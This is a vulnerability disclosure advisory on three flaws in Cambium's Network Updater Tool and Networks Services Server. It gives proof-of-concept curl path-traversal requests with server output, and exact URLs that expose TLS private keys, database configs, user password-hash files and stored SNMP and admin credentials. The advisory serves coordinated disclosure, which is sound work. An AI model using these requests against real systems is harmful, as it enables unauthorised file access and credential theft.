Cambium Multiple Vulnerabilities

2017-11-23T00:00:00
ID SSV:96882
Type seebug
Reporter Root
Modified 2017-11-23T00:00:00

Description

Vulnerabilities Summary

The following advisory describes three (3) vulnerabilities found in Cambium Network Updater Tool and Networks Services Server.

The Network Updater Tool is “a free-of-charge tool that applies packages to upgrade the device types that the release notes for the release that you are using list as supported. Because this tool is available, an operator does not need to visit each module in the network or even each AP where they would otherwise use the SM Autoupdate capability of the radios”

The Cambium Networks Services (CNS) Server is “a network management application provided by Cambium Networks to manage ePMP devices.”

The vulnerabilities found in Cambium products are:

  • Cambium Network Updater Tool (CNUT) – Unauthenticated File Path Traversal
  • Cambium Networks Services Server (CNSS) – Unauthenticated Access Control Bypass
  • Cambium Networks Services Server (CNSS) – Capture credentials for Device Discovery

Credit

An independent security researcher, Karn Ganeshen, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response

Cambium has released patches to address those vulnerabilities.

For more details: https://help.endian.com/hc/en-us/articles/115012996087 – Support Case 131840

Vulnerabilities details

Cambium Network Updater Tool Unauthenticated File Path Traversal

When Cambium Network Updater Tool is started, it runs a web server on HTTP(S) port 80/443. Cambium Network Updater Tool is a Java application. The web server does not perform strict input validation, and uses input data for filesystem operation.

Therefore, it is possible for an un-authenticated user to read arbitrary files off of the file system by issuing the following request:

curl http://IP/../../path/to/file

proof of Concept

The following request can be used to read the Windows win.ini file:

curl http://IP/../../windows/win.ini

The server will response with: ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [MCI Extensions.BAK] 3g2=MPEGVideo 3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo

When submitting the crafted url via the browser, the forward slash (/) character needs to be encoded. The url will be: http://IP/..%2F..%2Fwindows/win.ini

Cambium Networks Services Server Unauthenticated Access Control Bypass

Cambium Networks Services Server does not implement strict access control. An unauthenticated, remote user can therefore, access the root-, sub-directories, and sensitive configuration files, directly from the server.

Proof of Concept

An unauthenticated attacker can access to the following folders:

Apache http://IP/httpd.conf http://IP/windows/apache2/conf/server.key http://IP/windows/apache2/conf/server.pem http://IP/windows/apache2/conf/httpd.conf

PHP http://IP/stack/php/php.ini http://IP/windows/php/php.ini

Postgresql http://IP/stack/postgresql/data/pg_hba.conf http://IP/stack/postgresql/data/postgresql.conf

Logs http://IP/logs/

Access User Hashes http://IP/scripts/cnss_test_users.sql http://IP/scripts/cnss_seed_users.sql

These files contain login names and password hashes for the application users.

Cambium Networks Services Server (CNSS) – Capture credentials for Device Discovery

CNSS is used for discovering various other Cambium devices such as ePMP, and managing all deployed units centrally. In order to discover and access the devices, it relies upon SNMP (v2c) community strings and login credentials.

The CNSS application has 2 roles – administrators, and users. An ‘admin’ has full access to the application. A user in ‘users’ group has restricted access to functions in the application.

An admin user can access & make changes to default configuration for device discovery

The non-administrative account – ‘user’ – cannot access ‘Discover’ function configuration

However, it is possible for a ‘user’ to capture this configuration – default login credentials and SNMP strings for other devices – by accessing the following url:

http://ip/services/finder/admin/index.php

As seen above, SNMP strings & default admin login credentials are stored in clear-text